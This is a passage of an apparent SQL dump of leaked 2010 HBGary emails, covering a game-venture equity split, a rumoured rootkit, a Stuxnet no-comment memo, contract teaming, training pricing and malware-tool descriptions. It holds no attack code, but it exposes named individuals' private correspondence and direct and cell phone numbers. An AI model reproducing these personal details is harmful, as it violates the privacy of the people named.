\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInfluence Engine (Greg)\r\n\r\n150,000\r\n\r\n\r\n150000\r\n\r\n\r\nGame Design (pre-existing per Greg)\r\n\r\ngiven\r\n\r\n0\r\n\r\n\r\nMartins contribution to source base (Martin)\r\n\r\n25,000\r\n\r\n25000\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCredit for sweat equity ~20 hours/week over 12 months (Greg)\r\n\r\n1040 hrs * 100/hr\r\n104000\r\n\r\n\r\nCredit for sweat equity ~10 hours/week over 12 months (Martin)\r\n\r\n520 hrs * 100/hr\r\n52000\r\n\r\n\r\nCredit for sweat equity ~10 hours/week over 12 months (Shawn)\r\n\r\n520 hrs * 100/hr\r\n52000\r\n\r\n\r\nCredit for sweat equity ~20 hours/week over 12 months (Aaron)\r\n\r\n1040 hrs * 100/hr\r\n104000\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ninvestment (Greg)\r\n\r\n\r\n50000\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ntotal \r\n537000\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg&#39;s total investment\r\n\r\n\r\n304000\r\n56.60%\r\n\r\nMartin&#39;s total investment\r\n\r\n\r\n\r\n77000\r\n14.30%\r\n\r\nShawn&#39;s total investment\r\n\r\n\r\n52000\r\n9.60%\r\n\r\nAaron&#39;s total investment\r\n\r\n\r\n104000\r\n19.36%\r\n\r\n',6945,'aaron_hbgary_com/6945.html'),(12336,'2010-09-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009125.M854264P14101Q7191.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Have you heard of this rootkit?',' \r\nHeard of this?\r\n \r\n---------- Forwarded message ----------From: Merritt, David CTR OSD CIO &lt;David.Merritt.ctr@osd.mil&gt;\r\nDate: Sun, Sep 26, 2010 at 12:22 PMSubject: EvolutionTo: &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;Greg,Have you come across a rootlit called Hunter Killer Insanity 285 Trojan Rootkit?\r\nI hear it voracious..Dave--------------------------David D. MerrittOffice of the Secretary of Defense\r\n',9290,'aaron_hbgary_com/9290.html'),(12337,'2010-09-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009127.M659076P14101Q7192.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','potential use of height-map + procedural generation',' \r\nAttached are two screenshots.  They show the placement of a house structure on procedural terrain.  The terrain tiles are procedurally generated.  When the player builds a house on the terrain, the terrain is checked to see if it&#39;s &quot;suitable&quot;.  This equates to a check to see if the 4 corners of the building foundation are within a threshold of height - that is, the terrain is not too steep.  If the terrain is suitable, the terrain is leveled flat to the highest corner of the building - you can see this best in in the screenshot showing the shore.  Before building (A), the house is flooded on one side.  Once built, the terrain is adjusted to the highest corner (B), ensuring the house is above the water.  The other screenshot show how the player can build on a suitable ground (A), but that the game engine detects the second building is on a cliff (B) and cannot be built.  \r\n\r\n \r\nA variation of this might be possible with Martin&#39;s procedural terrain engine so we don&#39;t have to specify building pads.\r\n \r\n-Greg \r\n',10432,'aaron_hbgary_com/10432.html'),(12338,'2010-09-26','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297009129.M928515P14101Q7193.eml','aaron@hbgary.com,martin@hbgary.com,shawn@hbgary.com','trading posts, potential character specialization',' \r\nAaron, Martin,\r\n \r\nSee attached.  There is a building pad and road system that is pre-generated onto the terrain (trading_posts - A).  The road could start out as an overgrown trail (level 1), and eventually end up as a railroad (highest level).  One player specialization would allow for the building of trade posts (building pad is on trading_posts B).  When two connected trading posts are upgraded to a certain level, it upgrades the route between them (even if the two posts are not owned by the same person).  For example, in train.jpg - A is the upgraded trading post, and this links to a nearby trading post that is also upgraded, making train tracks appear between them (C) - and a train that runs thru that section.  The number of cars on the train could be based on how many goods have been transferred via that route recently.  \r\n\r\n \r\nWhen a player ships goods between buildings, it goes like this:\r\n \r\ncostA + costB + costC = totalCost.\r\n \r\ncostA is distance from building to nearest trading post.\r\ncostB is calculated based on traderoute/number of hops\r\ncostC is calculated on last mile, distance from last tradepost to target building\r\n \r\nFor starters, players would get a set fee for use of their trading post, calculated as a factor of costB.  If we wanted to get complicated, we could allow players to set their fee, but that opens up all kinds of problems w/ multiple trade routes of differing costs, etc.  We would also have to figure out if the fee was set per-day, or could be per-shipment - if it&#39;s per shipment a good trade route would end up being a gold mine and could imbalance the economy in favor of the player who owns it - so we would need to play balance that idea.\r\n\r\n \r\n-Greg\r\n',4149,'aaron_hbgary_com/4149.html'),(12339,'2010-09-27','\"Phil\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297009130.M344074P14101Q7194.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: Have you heard of this rootkit?','I have not. &nbsp;Will research.Sent from my iPadOn Sep 26, 2010, at 16:28, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:&nbsp;\r\nHeard of this?\r\n&nbsp;\r\n---------- Forwarded message ----------From: Merritt, David CTR OSD CIO &lt;David.Merritt.ctr@osd.mil&gt;\r\nDate: Sun, Sep 26, 2010 at 12:22 PMSubject: EvolutionTo: \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;Greg,Have you come across a rootlit called Hunter Killer Insanity 285 Trojan Rootkit?\r\nI hear it voracious..Dave--------------------------David D. MerrittOffice of the Secretary of Defense\r\n',7176,'aaron_hbgary_com/7176.html'),(12340,'2010-09-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009130.M562021P14101Q7195.eml','all@hbgary.com','stuxnet',' \r\nAll,\r\n \r\nHBGary has no official position on Stuxnet.  Please do not comment to the press on Stuxnet.  We know nothing about Stuxnet.\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.\r\n \r\n \r\n',15279,'aaron_hbgary_com/15279.html'),(12341,'2010-09-27','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297009130.M908076P14101Q7196.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Evolution','Aaron,\r\n\r\nI shot this message to Greg but wanted to see if you had seen it in the federal space...\r\n\r\nHave you come across a rootkit called Hunter Killer Insanity 285 Trojan Rootkit?\r\n\r\nI hear it voracious..\r\n\r\nDave\r\n--------------------------\r\nDavid D. Merritt\r\nOffice of the Secretary of Defense\r\n',10336,'aaron_hbgary_com/10336.html'),(12342,'2010-09-27','arc@westfields.net','/aaron@hbgary.com/new/1297009131.M121798P14101Q7197.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 09/24/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nIARPA/N/A-Rose (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-RDAS (Announcement)\r\n\r\nNGA-eSMARTS (Announcement)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',25,'aaron_hbgary_com/25.html'),(12343,'2010-09-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009131.M355195P14101Q7198.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: NGEN ISOOA','Sure thing Bill.AaronOn Sep 24, 2010, at 4:06 PM, William Luti wrote:Aaron,&nbsp;Another thought: in advance of our meeting if you’d be willing to send Eric an email attesting to our qualifications and ability to win I’d greatly appreciate it.&nbsp;Attached is an INPUT brief with the ISOOA portion of NGEN on page 8.&nbsp;Thanks much.&nbsp;Bill&lt;PRES-NGEN Teaming Event.pdf&gt;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',14328,'aaron_hbgary_com/14328.html'),(12344,'2010-09-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009131.M605470P14101Q7199.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','DMI','Hi Eric,\r\n\r\nJust a heads up.  I have been asked by DMI to attend their meeting with you on the 5th (I think its just prior to our meeting on Social Media/TMC).  I know Bill Luti from days at NG, good guy.  DMI I don\'t know terribly well yet but they were very organized and focused on the TSA proposal.  I liked what they put together.  They are also sponsoring my facilities clearance, so good partner for me.  So I have agreed to come along.\r\n\r\nSee you on the 5th.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',8056,'aaron_hbgary_com/8056.html'),(12345,'2010-09-27','\"Estrada, Daniel\" <Daniel.Estrada@ManTech.com>','/aaron@hbgary.com/new/1297009131.M881100P14101Q7200.eml','aaron@hbgary.com','Accepted: Social Media Discussions','\r\n\r\n\r\n\r\n\r\nAccepted: Social Media Discussions\r\n\r\n\r\n\r\n\r\nThe meeting will be at the ManTech Kidwell Location.\r\n\r\nThanks,\r\nDaniel\r\n\r\n\r\n\r\n',15687,'aaron_hbgary_com/15687.html'),(12346,'2010-09-27','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297009132.M102937P14101Q7201.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NGEN ISOOA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, September 27, 2010 8:55 AM\r\nTo: William Luti\r\nSubject: Re: NGEN ISOOA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure thing Bill.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 24, 2010, at 4:06 PM, William Luti wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnother\r\nthought: in advance of our meeting if you&#8217;d be willing to send Eric an\r\nemail attesting to our qualifications and ability to win I&#8217;d greatly\r\nappreciate it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis an INPUT brief with the ISOOA portion of NGEN on page 8.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nmuch.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBill\r\n\r\n\r\n\r\n&lt;PRES-NGEN\r\nTeaming Event.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12867,'aaron_hbgary_com/12867.html'),(12347,'2010-09-27','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009132.M317367P14101Q7202.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: DMI','See you there.\r\n\r\nEric J. Eifert\r\nVice President and General Manager, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, September 27, 2010 8:57 AM\r\nTo: Eifert, Eric J.\r\nSubject: DMI\r\n\r\nHi Eric,\r\n\r\nJust a heads up.  I have been asked by DMI to attend their meeting with you on the 5th (I think its just prior to our meeting on Social Media/TMC).  I know Bill Luti from days at NG, good guy.  DMI I don\'t know terribly well yet but they were very organized and focused on the TSA proposal.  I liked what they put together.  They are also sponsoring my facilities clearance, so good partner for me.  So I have agreed to come along.\r\n\r\nSee you on the 5th.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',2354,'aaron_hbgary_com/2354.html'),(12348,'2010-09-27','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009132.M527703P14101Q7203.eml','\"Aaron Barr\" <aaron@hbgary.com>','needs','\r\n\r\n\r\n\r\n\r\nneeds\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name of guy from Foundstone\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',299,'aaron_hbgary_com/299.html'),(12349,'2010-09-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009132.M733709P14101Q7204.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: needs','Sent from my iPhoneBegin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: September 27, 2010 7:10:06 AM PDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: needs\r\n\r\n\r\n\r\n\r\n1.      Name of guy from Foundstone\r\n\r\n2.      Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',129,'aaron_hbgary_com/129.html'),(12350,'2010-09-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009132.M975138P14101Q7205.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: needs','I started the descriptions. On Sep 27, 2010, at 10:11 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\n\r\nDate: September 27, 2010 7:10:06 AM PDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: needs\r\n\r\n\r\n\r\n\r\n\r\n1.      Name of guy from Foundstone\r\n\r\n2.      Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\n\r\nNorthrop Grumman/Xetron\r\n\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\n\r\nPh: 513-881-3591\r\n\r\n\r\nCell: 513-706-4848\r\n\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1159,'aaron_hbgary_com/1159.html'),(12351,'2010-09-27','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297009133.M171458P14101Q7206.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Training','Hi Aaron,\r\n\r\nI completely understand. We originally discussed targeting our training\r\nto a select group of employees, but we are also keen to get the message\r\nout to as many people as possible in the organization.\r\n\r\nThe new pricing is much more attractive and I will certainly consider\r\nincluding it in our likely purchase of the forensic tools that HBGary is\r\noffering.\r\n\r\nCan you send me the flyer announcing the service as soon as its ready?\r\n\r\nAll the best,\r\nDan\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, September 24, 2010 9:27 PM\r\nTo: Daniel Collender\r\nSubject: Training\r\n\r\n* PGP - S/MIME Signed: 9/24/2010 at 9:26:33 PM\r\n\r\nDaniel,\r\n\r\nTed and I have been struggling a bit with our training model for sale.\r\nWhen we originally priced the course we did it with the target of 25\r\nstudents, charging approximately $750 per student.  You presented an\r\ninteresting model.  We knew $750 was out of the range for that many\r\npeople so we went to work on something that seemed reasonable.  After\r\nfurther consideration and seeing the money you are putting into many\r\ndifferent areas we have come to another model.\r\n\r\nTraining is a commodity and something that is harder for many to\r\nquantify results.  That said, nearly every organization that I can tell\r\nneeds social media training.  But probably not a full day or even a half\r\nday course.  2 hours is about right to get the point across.  I think\r\nthe social media pen testing can be very helpful as well.\r\n\r\nWe are going to start offering our training for $25,000 for 2 days, 3\r\nclasses a day (2 hrs each).  You can put as many people as you want in\r\neach class however we recommend no more than 50.  The social media\r\npenetration test runs an additional $25,000 (it is tailored for the\r\norganization and take quite a bit of work).\r\n\r\nWe are putting together a flyer now to start advertising this\r\naggressively starting Monday.\r\n\r\nLet me know if this works better for you.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n',484,'aaron_hbgary_com/484.html'),(12352,'2010-09-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009133.M378380P14101Q7207.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Training','Sent from my iPhoneBegin forwarded message:From: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;\r\nDate: September 27, 2010 8:10:11 AM PDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Training\r\nHi Aaron,I completely understand. We originally discussed targeting our trainingto a select group of employees, but we are also keen to get the message\r\nout to as many people as possible in the organization.The new pricing is much more attractive and I will certainly considerincluding it in our likely purchase of the forensic tools that HBGary is\r\noffering.Can you send me the flyer announcing the service as soon as its ready?All the best,Dan\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, September 24, 2010 9:27 PMTo: Daniel Collender\r\nSubject: Training* PGP - S/MIME Signed: 9/24/2010 at 9:26:33 PMDaniel,Ted and I have been struggling a bit with our training model for sale.\r\nWhen we originally priced the course we did it with the target of 25students, charging approximately $750 per student.  You presented aninteresting model.  We knew $750 was out of the range for that many\r\npeople so we went to work on something that seemed reasonable.  Afterfurther consideration and seeing the money you are putting into manydifferent areas we have come to another model.\r\nTraining is a commodity and something that is harder for many toquantify results.  That said, nearly every organization that I can tellneeds social media training.  But probably not a full day or even a half\r\nday course.  2 hours is about right to get the point across.  I thinkthe social media pen testing can be very helpful as well.We are going to start offering our training for $25,000 for 2 days, 3\r\nclasses a day (2 hrs each).  You can put as many people as you want ineach class however we recommend no more than 50.  The social mediapenetration test runs an additional $25,000 (it is tailored for the\r\norganization and take quite a bit of work).We are putting together a flyer now to start advertising thisaggressively starting Monday.Let me know if this works better for you.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign\r\n',10791,'aaron_hbgary_com/10791.html'),(12353,'2010-09-27','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297009133.M721376P14101Q7208.eml','aaron@hbgary.com','Blackjack?','\r\n\r\n  \r\n\r\n    \r\n  \r\n  \r\n    Guessing you\'ve seen this, looks kinda interesting.&nbsp; \r\n    Harris Corporation Introduces USB Thumb Drive Designed for U.S.\r\n      Government Cyber Security Missions\r\nhttp://www.prnewswire.com/news-releases/harris-corporation-introduces-usb-thumb-drive-designed-for-us-government-cyber-security-missions-103849293.html\r\n    \r\n    I\'m getting settled into PRTM (starting my 3rd week.)&nbsp; Would be good\r\n    to catch up one of these days for lunch or coffee.&nbsp; My new office is\r\n    at 1750 Pennsylvania Ave NW, but I\'m also out and about a fair\r\n    amount.&nbsp; \r\n    \r\n    David\r\n    \r\n    \r\n  \r\n\r\n',10654,'aaron_hbgary_com/10654.html'),(12354,'2010-09-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009133.M983592P14101Q7209.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: needs','This is what i have so far. I&#39;ll finish up this afternoon and send to phil for a quick check before sending it to Brian.Responder Pro\r\nOur flagship malware detection, reverse engineering and analysis tool. Automatically reverse engineers malware and using our patented Digital DNA technology, identifies the malicious behaviors, indicators of compromise and command &amp; control information. Within minutes of opening a malware specimen analysts can answer the who, what, why, where, and when of the attack. \r\nREconA low-level process tracing tool that allows analysts to capture all activities and behaviors exhibited by a specimen over a duration of time. Especially useful for malware which sleep for a period of time prior to exhibiting malicious behavior. Graphical activity timeline aids analysts identify key malicious activities. \r\nFgetFree, open-source HBGary developed tool for quickly conducting timeline analysis by automatically capturing files across the enterprise using a forensically sound approach. \r\nregripperanalyzemftlog2timelineencase(i hope)timescannerActive Defense\r\nHBGary&#39;s Enterprise malware detection, reverse engineering and analysis tool. Perfect for conducting incident response engagements for large enterprises. Leverages HBGary&#39;s DDNA. Racks and stacks specimens by their severity. Allows analysts to quickly grab livebins of specimens across the enterprise for centralized reverse engineering. \r\n Begin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: September 27, 2010 8:11:28 AM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Fwd: needsSent from my iPhone\r\nBegin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\n\r\nDate: September 27, 2010 7:10:06 AM PDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: needs\r\n\r\n\r\n\r\n\r\n\r\n1.      Name of guy from Foundstone\r\n\r\n2.      Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\n\r\nNorthrop Grumman/Xetron\r\n\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\n\r\nPh: 513-881-3591\r\n\r\n\r\nCell: 513-706-4848\r\n\r\n\r\nFax: 513-881-3877 